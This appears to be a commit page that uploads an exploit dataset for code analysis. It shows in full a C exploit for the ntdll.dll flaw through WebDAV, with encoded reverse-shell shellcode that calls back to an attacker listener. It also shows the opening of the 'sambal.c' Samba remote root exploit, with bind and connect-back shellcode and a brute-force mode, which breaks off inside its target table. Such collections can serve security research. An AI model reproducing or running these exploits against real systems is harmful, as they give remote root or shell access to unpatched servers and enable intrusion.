lilbool commited on
Commit
497f2f3
·
verified ·
1 Parent(s): f2eecd0

Upload 212 files

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. .gitattributes +1 -0
  2. code_analysis_dataset.csv +3 -0
  3. exploit-analyzer/compiled_exploits.json +0 -0
  4. exploit-analyzer/exploits/exploit_1.txt +233 -0
  5. exploit-analyzer/exploits/exploit_10.txt +1176 -0
  6. exploit-analyzer/exploits/exploit_100.txt +291 -0
  7. exploit-analyzer/exploits/exploit_1000.txt +243 -0
  8. exploit-analyzer/exploits/exploit_1001.txt +289 -0
  9. exploit-analyzer/exploits/exploit_1003.txt +195 -0
  10. exploit-analyzer/exploits/exploit_1004.txt +100 -0
  11. exploit-analyzer/exploits/exploit_1005.txt +69 -0
  12. exploit-analyzer/exploits/exploit_1006.txt +100 -0
  13. exploit-analyzer/exploits/exploit_1007.txt +82 -0
  14. exploit-analyzer/exploits/exploit_1008.txt +255 -0
  15. exploit-analyzer/exploits/exploit_1009.txt +70 -0
  16. exploit-analyzer/exploits/exploit_101.txt +429 -0
  17. exploit-analyzer/exploits/exploit_1010.txt +76 -0
  18. exploit-analyzer/exploits/exploit_1011.txt +35 -0
  19. exploit-analyzer/exploits/exploit_1012.txt +38 -0
  20. exploit-analyzer/exploits/exploit_1013.txt +67 -0
  21. exploit-analyzer/exploits/exploit_1014.txt +32 -0
  22. exploit-analyzer/exploits/exploit_1015.txt +37 -0
  23. exploit-analyzer/exploits/exploit_1016.txt +62 -0
  24. exploit-analyzer/exploits/exploit_1017.txt +32 -0
  25. exploit-analyzer/exploits/exploit_1018.txt +112 -0
  26. exploit-analyzer/exploits/exploit_1019.txt +289 -0
  27. exploit-analyzer/exploits/exploit_102.txt +234 -0
  28. exploit-analyzer/exploits/exploit_1020.txt +667 -0
  29. exploit-analyzer/exploits/exploit_1021.txt +200 -0
  30. exploit-analyzer/exploits/exploit_1022.txt +31 -0
  31. exploit-analyzer/exploits/exploit_1023.txt +37 -0
  32. exploit-analyzer/exploits/exploit_1024.txt +7 -0
  33. exploit-analyzer/exploits/exploit_1025.txt +3 -0
  34. exploit-analyzer/exploits/exploit_1026.txt +273 -0
  35. exploit-analyzer/exploits/exploit_1027.txt +115 -0
  36. exploit-analyzer/exploits/exploit_1028.txt +157 -0
  37. exploit-analyzer/exploits/exploit_1029.txt +87 -0
  38. exploit-analyzer/exploits/exploit_103.txt +264 -0
  39. exploit-analyzer/exploits/exploit_1030.txt +62 -0
  40. exploit-analyzer/exploits/exploit_1031.txt +29 -0
  41. exploit-analyzer/exploits/exploit_1032.txt +153 -0
  42. exploit-analyzer/exploits/exploit_1033.txt +32 -0
  43. exploit-analyzer/exploits/exploit_1034.txt +82 -0
  44. exploit-analyzer/exploits/exploit_1035.txt +290 -0
  45. exploit-analyzer/exploits/exploit_1036.txt +79 -0
  46. exploit-analyzer/exploits/exploit_1037.txt +360 -0
  47. exploit-analyzer/exploits/exploit_1038.txt +297 -0
  48. exploit-analyzer/exploits/exploit_1039.txt +72 -0
  49. exploit-analyzer/exploits/exploit_104.txt +60 -0
  50. exploit-analyzer/exploits/exploit_1040.txt +91 -0
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ code_analysis_dataset.csv filter=lfs diff=lfs merge=lfs -text
code_analysis_dataset.csv ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:f9fb83acd5511b7c7d8d9788388c55f2379da13e0921796787695922f2ef4f6d
3
+ size 11946655
exploit-analyzer/compiled_exploits.json ADDED
The diff for this file is too large to render. See raw diff
 
exploit-analyzer/exploits/exploit_1.txt ADDED
@@ -0,0 +1,233 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*******************************************************************/
2
+ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
3
+ /* --------------------------------------------------------------- */
4
+ /* this is the exploit for ntdll.dll through WebDAV. */
5
+ /* run a netcat ex: nc -L -vv -p 666 */
6
+ /* wb server.com your_ip 666 0 */
7
+ /* the shellcode is a reverse remote shell */
8
+ /* you need to pad a bit.. the best way I think is launching */
9
+ /* the exploit with pad = 0 and after that, the server will be */
10
+ /* down for a couple of seconds, now retry with pad at 1 */
11
+ /* and so on..pad 2.. pad 3.. if you haven't the shell after */
12
+ /* something like pad at 10 I think you better to restart from */
13
+ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
14
+ /* on all the others servers it was at 2,3,4, etc..sometimes */
15
+ /* you can have the force with you, and get the shell in 1 try */
16
+ /* sometimes you need to pad more than 10 times ;) */
17
+ /* the shellcode was coded by myself, it is SEH + ScanMem to */
18
+ /* find the famous offsets (GetProcAddress).. */
19
+ /* */
20
+ /*******************************************************************/
21
+
22
+
23
+ #include <winsock.h>
24
+ #include <windows.h>
25
+ #include <stdio.h>
26
+
27
+ #pragma comment (lib,"ws2_32")
28
+
29
+ char shellc0de[] =
30
+ "\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
31
+ "\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
32
+ "\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
33
+ "\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
34
+ "\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
35
+ "\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
36
+ "\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
37
+ "\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
38
+ "\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
39
+ "\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
40
+ "\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
41
+ "\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
42
+ "\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
43
+ "\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
44
+ "\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
45
+ "\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
46
+ "\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
47
+ "\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
48
+ "\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
49
+ "\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
50
+ "\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
51
+ "\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
52
+ "\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
53
+ "\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
54
+ "\xff\xd0"
55
+ "CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
56
+ "connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
57
+ "cmd" // don't change anything..
58
+ "\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
59
+ "\x00\x00\xe8\x77"
60
+ "\x00\x00\xf0\x77"
61
+ "\x00\x00\xe4\x77"
62
+ "\x00\x88\x3e\x04" // win2k3
63
+ "\x00\x00\xf7\xbf" // win9x =P
64
+ "\xff\xff\xff\xff";
65
+
66
+ int test_host(char *host)
67
+ {
68
+ char search[100]="";
69
+ int sock;
70
+ struct hostent *heh;
71
+ struct sockaddr_in hmm;
72
+ char buf[100] ="";
73
+
74
+ if(strlen(host)>60) {
75
+ printf("error: victim host too long.\r\n");
76
+ return 1;
77
+ }
78
+
79
+ if ((heh = gethostbyname(host))==0){
80
+ printf("error: can't resolve '%s'",host);
81
+ return 1;
82
+ }
83
+
84
+ sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
85
+ hmm.sin_port = htons(80);
86
+ hmm.sin_family = AF_INET;
87
+ hmm.sin_addr = *((struct in_addr *)heh->h_addr);
88
+
89
+ if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
90
+ printf("error: can't create socket");
91
+ return 1;
92
+ }
93
+
94
+ printf("Checking WebDav on '%s' ... ",host);
95
+
96
+ if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
97
+ printf("CONNECTING_ERROR\r\n");
98
+ return 1;
99
+ }
100
+ send(sock,search,strlen(search),0);
101
+ recv(sock,buf,sizeof(buf),0);
102
+ if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
103
+ return 0;
104
+ printf("NOT FOUND\r\n");
105
+ return 1;
106
+ }
107
+
108
+ void help(char *program)
109
+ {
110
+ printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program);
111
+ return;
112
+ }
113
+
114
+ void banner(void)
115
+ {
116
+ printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor
117
+ [Crpt]\r\n");
118
+ printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
119
+ return;
120
+ }
121
+
122
+ void main(int argc, char *argv[])
123
+ {
124
+ WSADATA wsaData;
125
+ unsigned short port=0;
126
+ char *port_to_shell="", *ip1="", data[50]="";
127
+ unsigned int i,j;
128
+ unsigned int ip = 0 ;
129
+ int s, PAD=0x10;
130
+ struct hostent *he;
131
+ struct sockaddr_in crpt;
132
+ char buffer[65536] ="";
133
+ char request[80000]; // huuuh, what a mess! :)
134
+ char content[] =
135
+ "<?xml version=\"1.0\"?>\r\n"
136
+ "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
137
+ "<g:sql>\r\n"
138
+ "Select \"DAV:displayname\" from scope()\r\n"
139
+ "</g:sql>\r\n"
140
+ "</g:searchrequest>\r\n";
141
+
142
+ banner();
143
+ if((argc<4)||(argc>5)) {
144
+ help(argv[0]);
145
+ return;
146
+ }
147
+
148
+ if(WSAStartup(0x0101,&wsaData)!=0) {
149
+ printf("error starting winsock..");
150
+ return;
151
+ }
152
+
153
+ if(test_host(argv[1]))
154
+ return;
155
+
156
+ if(argc==5)
157
+ PAD+=atoi(argv[4]);
158
+
159
+ printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);
160
+
161
+ ip = inet_addr(argv[2]); ip1 = (char*)&ip;
162
+
163
+ shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2];
164
+ shellc0de[451]=ip1[3];
165
+
166
+ port = htons(atoi(argv[3]));
167
+ port_to_shell = (char *) &port;
168
+ shellc0de[446]=port_to_shell[0];
169
+ shellc0de[447]=port_to_shell[1];
170
+
171
+ // we xor the shellcode [xored by 0x95 to avoid bad chars]
172
+ __asm {
173
+ lea eax, shellc0de
174
+ add eax, 0x34
175
+ xor ecx, ecx
176
+ mov cx, 0x1b0
177
+ wah:
178
+ xor byte ptr[eax], 0x95
179
+ inc eax
180
+ loop wah
181
+ }
182
+
183
+ if ((he = gethostbyname(argv[1]))==0){
184
+ printf("error: can't resolve '%s'",argv[1]);
185
+ return;
186
+ }
187
+
188
+ crpt.sin_port = htons(80);
189
+ crpt.sin_family = AF_INET;
190
+ crpt.sin_addr = *((struct in_addr *)he->h_addr);
191
+
192
+ if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
193
+ printf("error: can't create socket");
194
+ return;
195
+ }
196
+
197
+ printf("Connecting... ");
198
+
199
+ if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
200
+ printf("ERROR\r\n");
201
+ return;
202
+ }
203
+ // No Operation.
204
+ for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
205
+ // fill the buffer with the shellcode
206
+ for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
207
+ // well..it is not necessary..
208
+ for(i=0;i<2500;buffer[i]=PAD,i++);
209
+
210
+ /* we can simply put our ret in this 2 offsets.. */
211
+ //buffer[2086]=PAD;
212
+ //buffer[2085]=PAD;
213
+
214
+ buffer[sizeof(buffer)]=0x00;
215
+ memset(request,0,sizeof(request));
216
+ memset(data,0,sizeof(data));
217
+ sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
218
+ sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
219
+ printf("CONNECTED\r\nSending evil request... ");
220
+ send(s,request,strlen(request),0);
221
+ send(s,content,strlen(content),0);
222
+ printf("SENT\r\n");
223
+ recv(s,data,sizeof(data),0);
224
+ if(data[0]!=0x00) {
225
+ printf("Server seems to be patched.\r\n");
226
+ printf("data: %s\r\n",data);
227
+ } else
228
+ printf("Now if you are lucky you will get a shell.\r\n");
229
+ closesocket(s);
230
+ return;
231
+ }
232
+
233
+ // milw0rm.com [2003-03-23]
exploit-analyzer/exploits/exploit_10.txt ADDED
@@ -0,0 +1,1176 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ Remote root exploit for Samba 2.2.x and prior that works against
3
+ Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and
4
+ OpenBSD (2.x, 3.x and 3.2 non-executable stack).
5
+ sambal.c is able to identify samba boxes. It will send a netbios
6
+ name packet to port 137. If the box responds with the mac address
7
+ 00-00-00-00-00-00, it's probally running samba.
8
+
9
+ [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
10
+ samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
11
+ --------------------------------------------------------------
12
+ + Scan mode.
13
+ + [192.168.0.3] Samba
14
+ + [192.168.0.10] Windows
15
+ + [192.168.0.20] Windows
16
+ + [192.168.0.21] Samba
17
+ + [192.168.0.30] Windows
18
+ + [192.168.0.31] Samba
19
+ + [192.168.0.33] Windows
20
+ + [192.168.0.35] Windows
21
+ + [192.168.0.36] Windows
22
+ + [192.168.0.37] Windows
23
+ ...
24
+ + [192.168.0.133] Samba
25
+
26
+ Great!
27
+ You could now try a preset (-t0 for a list), but most of the
28
+ time bruteforce will do. The smbd spawns a new process on every
29
+ connect, so we can bruteforce the return address...
30
+
31
+ [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
32
+ samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
33
+ --------------------------------------------------------------
34
+ + Verbose mode.
35
+ + Bruteforce mode. (Linux)
36
+ + Using ret: [0xbffffed4]
37
+ + Using ret: [0xbffffda8]
38
+ + Using ret: [0xbffffc7c]
39
+ + Using ret: [0xbffffb50]
40
+ + Using ret: [0xbffffa24]
41
+ + Using ret: [0xbffff8f8]
42
+ + Using ret: [0xbffff7cc]
43
+ + Worked!
44
+ --------------------------------------------------------------
45
+ Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
46
+ i586 i386 GNU/Linux
47
+ uid=0(root) gid=0(root) groups=99(nobody)
48
+
49
+ sambal.c : samba-2.2.8 < remote root exploit by eSDee (www.netric.org|
50
+
51
+ */
52
+
53
+ #include <stdio.h>
54
+ #include <string.h>
55
+ #include <stdlib.h>
56
+ #include <netdb.h>
57
+ #include <errno.h>
58
+ #include <fcntl.h>
59
+ #include <signal.h>
60
+ #include <string.h>
61
+ #include <unistd.h>
62
+ #include <sys/select.h>
63
+ #include <sys/socket.h>
64
+ #include <sys/types.h>
65
+ #include <sys/time.h>
66
+ #include <sys/wait.h>
67
+ #include <netinet/in.h>
68
+ #include <arpa/inet.h>
69
+
70
+ typedef struct {
71
+ unsigned char type;
72
+ unsigned char flags;
73
+ unsigned short length;
74
+ } NETBIOS_HEADER;
75
+
76
+ typedef struct {
77
+ unsigned char protocol[4];
78
+ unsigned char command;
79
+ unsigned short status;
80
+ unsigned char reserved;
81
+ unsigned char flags;
82
+ unsigned short flags2;
83
+ unsigned char pad[12];
84
+ unsigned short tid;
85
+ unsigned short pid;
86
+ unsigned short uid;
87
+ unsigned short mid;
88
+ } SMB_HEADER;
89
+
90
+ int OWNED = 0;
91
+ pid_t childs[100];
92
+ struct sockaddr_in addr1;
93
+ struct sockaddr_in addr2;
94
+
95
+ char linux_bindcode[] =
96
+ "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
97
+ "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
98
+ "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
99
+ "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
100
+ "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
101
+ "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
102
+ "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
103
+ "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
104
+ "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
105
+ "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
106
+ "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
107
+ "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
108
+ "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
109
+
110
+ char bsd_bindcode[] =
111
+ "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
112
+ "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
113
+ "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
114
+ "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
115
+ "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
116
+ "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
117
+ "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
118
+ "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
119
+ "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
120
+ "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
121
+ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
122
+ "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
123
+ "\xeb\x9a";
124
+
125
+ char linux_connect_back[] =
126
+ "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
127
+ "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
128
+ "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
129
+ "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
130
+ "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
131
+ "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
132
+ "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
133
+ "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
134
+ "\x01\xcd\x80";
135
+
136
+ char bsd_connect_back[] =
137
+ "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
138
+ "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
139
+ "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
140
+ "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
141
+ "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
142
+ "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
143
+ "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
144
+ "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
145
+
146
+
147
+
148
+ struct {
149
+ char *type;
150
+ unsigned long ret;
151
+ char *shellcode;
152
+ int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */
153
+
154
+ } targets[] = {
155
+ { "samba-2.2.x - Debian 3.0 ", 0xbffffea2, linux_bindcode, 0 },
156
+ { "samba-2.2.x - Gentoo 1.4.x ", 0xbfffe890, linux_bindcode, 0 },
157
+ { "samba-2.2.x - Mandrake 8.x ", 0xbffff6a0, linux_bindcode, 0 },
158
+ { "samba-2.2.x - Mandrake 9.0 ", 0xbfffe638, linux_bindcode, 0 },
159
+ { "samba-2.2.x - Redhat 9.0 ", 0xbffff7cc, linux_bindcode, 0 },
160
+ { "samba-2.2.x - Redhat 8.0 ", 0xbffff2f0, linux_bindcode, 0 },
161
+ { "samba-2.2.x - Redhat 7.x ", 0xbffff310, linux_bindcode, 0 },
162
+ { "samba-2.2.x - Redhat 6.x ", 0xbffff2f0, linux_bindcode, 0 },
163
+ { "samba-2.2.x - Slackware 9.0 ", 0xbffff574, linux_bindcode, 0 },
164
+ { "samba-2.2.x - Slackware 8.x ", 0xbffff574, linux_bindcode, 0 },
165
+ { "samba-2.2.x - SuSE 7.x ", 0xbffffbe6, linux_bindcode, 0 },
166
+ { "samba-2.2.x - SuSE 8.x ", 0xbffff8f8, linux_bindcode, 0 },
167
